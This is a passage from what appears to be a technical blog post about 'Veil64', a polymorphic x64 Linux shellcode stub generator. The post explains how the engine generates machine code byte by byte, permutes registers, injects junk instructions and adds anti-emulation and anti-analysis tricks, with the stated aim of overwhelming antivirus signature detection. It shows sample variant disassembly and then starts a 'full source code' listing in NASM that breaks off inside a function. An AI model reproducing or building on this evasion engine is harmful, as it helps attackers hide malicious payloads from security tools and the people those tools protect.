&lt;p&gt;This is where we reach the real core. You cannot simply rearrange pre-written assembly and call it polymorphic. The engine generates raw x64 machine code on the fly, building every instruction byte by byte. Opcodes and operands are computed dynamically based on the current register allocation and algorithm choice.&lt;/p&gt;

&lt;p&gt;The ModRM byte is especially critical in x64: it encodes which registers are used. By calculating this byte dynamically, the engine can implement the same operation with any register combination, producing different bytes — and therefore different signatures.&lt;/p&gt;

&lt;p&gt;The same polymorphic thinking applies to all syscall parameters. Multiple construction methods are used to avoid pattern matching.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Performance and Scalability —
&lt;/h3&gt;

&lt;p&gt;Basic generation averages 9 to 13 milliseconds per variant, translating to 50,000 to 75,000 variants per minute — enough to overwhelm signature detection. Speed is not higher because each variant undergoes register renaming, flow randomization, intelligent junk injection, and anti-debug checks.&lt;/p&gt;

&lt;p&gt;Generation time fluctuates by ±3 to 4 ms by design to avoid predictability; stable timing would aid detection. The engine maintains this jitter by varying instruction order, junk block size, and encryption rounds.&lt;/p&gt;

&lt;p&gt;Static memory footprint is approximately 340 to 348 KB — far larger than toy 4 KB engines. This includes precomputed transformation tables, runtime mutation logic, and anti-emulation traps. Per-variant memory usage remains stable with no leaks or growth.&lt;/p&gt;

&lt;p&gt;Code size fluctuates between 180 bytes and 1.2 KB. Compact variants favor speed; balanced variants strike a compromise; complex variants maximize complexity to stress AV engines.&lt;/p&gt;

&lt;h3&gt;
  
  
  — What Variants Look Like —
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;Variant&lt;/span&gt; &lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Si&lt;/span&gt;&lt;span class="nv"&gt;ze&lt;/span&gt; &lt;span class="mi"&gt;335&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Key&lt;/span&gt; &lt;span class="mh"&gt;0x4A4BDC5C3AEAC0AD&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="nf"&gt;C7&lt;/span&gt; &lt;span class="nv"&gt;C0&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;A&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt;    &lt;span class="nv"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="nf"&gt;FF&lt;/span&gt; &lt;span class="nv"&gt;C8&lt;/span&gt;                &lt;span class="nv"&gt;dec&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;50&lt;/span&gt;                      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;58&lt;/span&gt;                      &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;90&lt;/span&gt;                      &lt;span class="nf"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="err"&gt;31&lt;/span&gt; &lt;span class="nf"&gt;FF&lt;/span&gt;                &lt;span class="nv"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;

&lt;span class="nf"&gt;Variant&lt;/span&gt; &lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Si&lt;/span&gt;&lt;span class="nv"&gt;ze&lt;/span&gt; &lt;span class="mi"&gt;368&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Key&lt;/span&gt; &lt;span class="mh"&gt;0x6BAAA583D73FA32B&lt;/span&gt;
&lt;span class="err"&gt;50&lt;/span&gt;                      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;58&lt;/span&gt;                      &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;50&lt;/span&gt;                      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;58&lt;/span&gt;                      &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="err"&gt;31&lt;/span&gt; &lt;span class="nf"&gt;C0&lt;/span&gt;                &lt;span class="nv"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="err"&gt;83&lt;/span&gt; &lt;span class="nf"&gt;C0&lt;/span&gt; &lt;span class="mi"&gt;09&lt;/span&gt;             &lt;span class="nv"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;

&lt;span class="nf"&gt;Variant&lt;/span&gt; &lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Si&lt;/span&gt;&lt;span class="nv"&gt;ze&lt;/span&gt; &lt;span class="mi"&gt;385&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Key&lt;/span&gt; &lt;span class="mh"&gt;0x5C3F1EDF85C0D55E&lt;/span&gt;
&lt;span class="err"&gt;90&lt;/span&gt;                      &lt;span class="nf"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;90&lt;/span&gt;                      &lt;span class="nf"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;50&lt;/span&gt;                      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;58&lt;/span&gt;                      &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="nf"&gt;C7&lt;/span&gt; &lt;span class="nv"&gt;C0&lt;/span&gt; &lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt;    &lt;span class="nv"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the differences. Variant #1 sets RAX by loading 10 then decrementing. Variant #2 uses PUSH/POP junk first, then XOR/ADD. Variant #3 starts with NOPs, inserts another set of junk, then loads directly. The result is the same (RAX = 9), but the method is completely different.&lt;/p&gt;

&lt;p&gt;Size fluctuation is large. These three samples differ by less than 50 bytes. In reality, the engine can produce variants from compact 180-byte versions to large 1200-byte versions, depending on the intensity of junk injection and obfuscation.&lt;/p&gt;

&lt;p&gt;The engine classifies variants into three categories by structure and complexity. Compact types (≈295–350 bytes) minimize junk and prioritize speed; balanced types (up to 400 bytes) compromise between obfuscation and stability; complex types (up to 500 bytes) layer more polymorphic techniques and anti-analysis features.&lt;/p&gt;

&lt;p&gt;With four algorithms combined with 210 register permutations, there are already 840 base variants before adding junk and control-flow obfuscation. Introducing variable junk injection, diverse jump patterns, and multiple stub initialization methods expands the variant space into the millions.&lt;/p&gt;

&lt;p&gt;The key is not just quantity, but “functional equivalence + signature diversity.” Every variant can correctly decrypt the payload, yet appears distinctly different from a signature-detection perspective.&lt;/p&gt;

&lt;p&gt;Effective polymorphism maximizes signature diversity without degrading correctness. Generating billions of variants is meaningless if many are broken or still share detectable patterns. Correctness and diversity scale must hold simultaneously.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Built-in Anti-Analysis Design —
&lt;/h3&gt;

&lt;p&gt;Emulation engines usually struggle with variable timing, and junk code injection creates unpredictable execution durations. Key generation dependent on stack state makes the same variant behave differently across process contexts. Reliance on hardware timestamps further increases emulation cost because it requires accurate RDTSC simulation.&lt;/p&gt;

&lt;p&gt;With no fixed constants or strings, static analysis tools struggle because there are almost no grep-able or fingerprintable anchors. Polymorphic control flow breaks linear analysis, while the encrypted embedded engine hides core logic until runtime.&lt;/p&gt;

&lt;p&gt;Dynamic analysis is also disrupted by “legitimate-looking, functionally neutral” junk code. Multiple execution paths generate different behavioral traces on every run. Runtime key derivation ensures each execution has a unique key, making results difficult to reuse even if tracing succeeds.&lt;/p&gt;

&lt;p&gt;Anti-analysis features are not optional — they are part of the system. Every polymorphic technique serves two purposes simultaneously: evading signatures and increasing analysis cost.&lt;/p&gt;

&lt;h3&gt;
  
  
  Veil64 Full Source Code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="c1"&gt;;------------------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;;   [ V E I L 6 4 ]&lt;/span&gt;
&lt;span class="c1"&gt;;------------------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;;   Type:           Polymorphic Engine / Stub Generator&lt;/span&gt;
&lt;span class="c1"&gt;;   Platform:       x86_64 Linux&lt;/span&gt;
&lt;span class="c1"&gt;;   Size:           ~4KB Engine + Custom Stub&lt;/span&gt;
&lt;span class="c1"&gt;;                   Runtime shellcode obfuscation, encryption,&lt;/span&gt;
&lt;span class="c1"&gt;;                   and stealth execution via mmap + RIP tricks.&lt;/span&gt;
&lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;;                                                   0xf00sec&lt;/span&gt;
&lt;span class="c1"&gt;;------------------------------------------------------------&lt;/span&gt;

&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.text&lt;/span&gt;

&lt;span class="nf"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;genrat&lt;/span&gt;
&lt;span class="nf"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;exec_c&lt;/span&gt;
&lt;span class="nf"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;_start&lt;/span&gt;

&lt;span class="c1"&gt;; x64 opcodes&lt;/span&gt;
&lt;span class="cp"&gt;%define PUSH_REG           0x50
%define POP_REG            0x58
%define ADD_MEM_REG        0x01
%define ADD_REG_IMM8       0x83
%define ROL_MEM_IMM        0xC1
%define XOR_MEM_REG        0x31
%define TEST_REG_REG       0x85
%define JNZ_SHORT          0x75
%define JZ_SHORT           0x74
%define CALL_REL32         0xE8
%define JMP_REL32          0xE9
%define JMP_SHORT          0xEB
%define RET_OPCODE         0xC3
%define NOP_OPCODE         0x90
%define JNZ_LONG           0x0F85
%define FNINIT_OPCODE      0xDBE3
%define FNOP_OPCODE        0xD9D0
&lt;/span&gt;
&lt;span class="c1"&gt;; register encoding&lt;/span&gt;
&lt;span class="cp"&gt;%define REG_RAX            0
%define REG_RCX            1
%define REG_RDX            2
%define REG_RBX            3
%define REG_RSP            4
%define REG_RBP            5
%define REG_RSI            6
%define REG_RDI            7
&lt;/span&gt;
&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.data&lt;/span&gt;

&lt;span class="nl"&gt;stub_key:&lt;/span&gt;               &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mh"&gt;0xDEADBEEF&lt;/span&gt;            &lt;span class="c1"&gt;; runtime key&lt;/span&gt;
&lt;span class="nl"&gt;sec_key:&lt;/span&gt;                &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mh"&gt;0x00000000&lt;/span&gt;
&lt;span class="nl"&gt;engine_size:&lt;/span&gt;            &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;dcr_eng:&lt;/span&gt;                &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;stub_sz:&lt;/span&gt;                &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;sz:&lt;/span&gt;                     &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nl"&gt;seed:&lt;/span&gt;                   &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; PRNG state&lt;/span&gt;
&lt;span class="nl"&gt;p_entry:&lt;/span&gt;                &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; output buffer&lt;/span&gt;
&lt;span class="nl"&gt;key:&lt;/span&gt;                    &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; user key&lt;/span&gt;
&lt;span class="nl"&gt;reg_base:&lt;/span&gt;               &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; selected registers&lt;/span&gt;
&lt;span class="nl"&gt;reg_count:&lt;/span&gt;              &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;reg_key:&lt;/span&gt;                &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;junk_reg1:&lt;/span&gt;              &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; junk registers&lt;/span&gt;
&lt;span class="nl"&gt;junk_reg2:&lt;/span&gt;              &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;junk_reg3:&lt;/span&gt;              &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;prolog_set:&lt;/span&gt;             &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;fpu_set:&lt;/span&gt;                &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;jmp_back:&lt;/span&gt;               &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;alg0_dcr:&lt;/span&gt;               &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; algorithm selector&lt;/span&gt;

&lt;span class="nf"&gt;align&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="nl"&gt;entry:&lt;/span&gt;
&lt;span class="kd"&gt;times&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                                 &lt;span class="c1"&gt;; engine storage&lt;/span&gt;
&lt;span class="nl"&gt;exit:&lt;/span&gt;

&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.text&lt;/span&gt;

&lt;span class="c1"&gt;; main generator entry point&lt;/span&gt;
&lt;span class="nl"&gt;genrat:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                               &lt;span class="c1"&gt;; validate params&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.r_exit&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.r_exit&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;                               &lt;span class="c1"&gt;; min buffer size&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.r_exit&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_runtm&lt;/span&gt;                              &lt;span class="c1"&gt;; generate runtime keys&lt;/span&gt;

    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_reng&lt;/span&gt;                               &lt;span class="c1"&gt;; build engine&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                                &lt;span class="c1"&gt;; calculate engine size&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;unpack_stub&lt;/span&gt;                            &lt;span class="c1"&gt;; build stub&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;enc_bin&lt;/span&gt;                                &lt;span class="c1"&gt;; encrypt payload&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                      &lt;span class="c1"&gt;; total&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.calc_sz&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nl"&gt;.calc_sz:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.r_exit:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate engine&lt;/span&gt;
&lt;span class="nl"&gt;gen_reng:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;rdtsc&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5DEECE66D&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shr&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                                    &lt;span class="c1"&gt;; clear state&lt;/span&gt;
    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
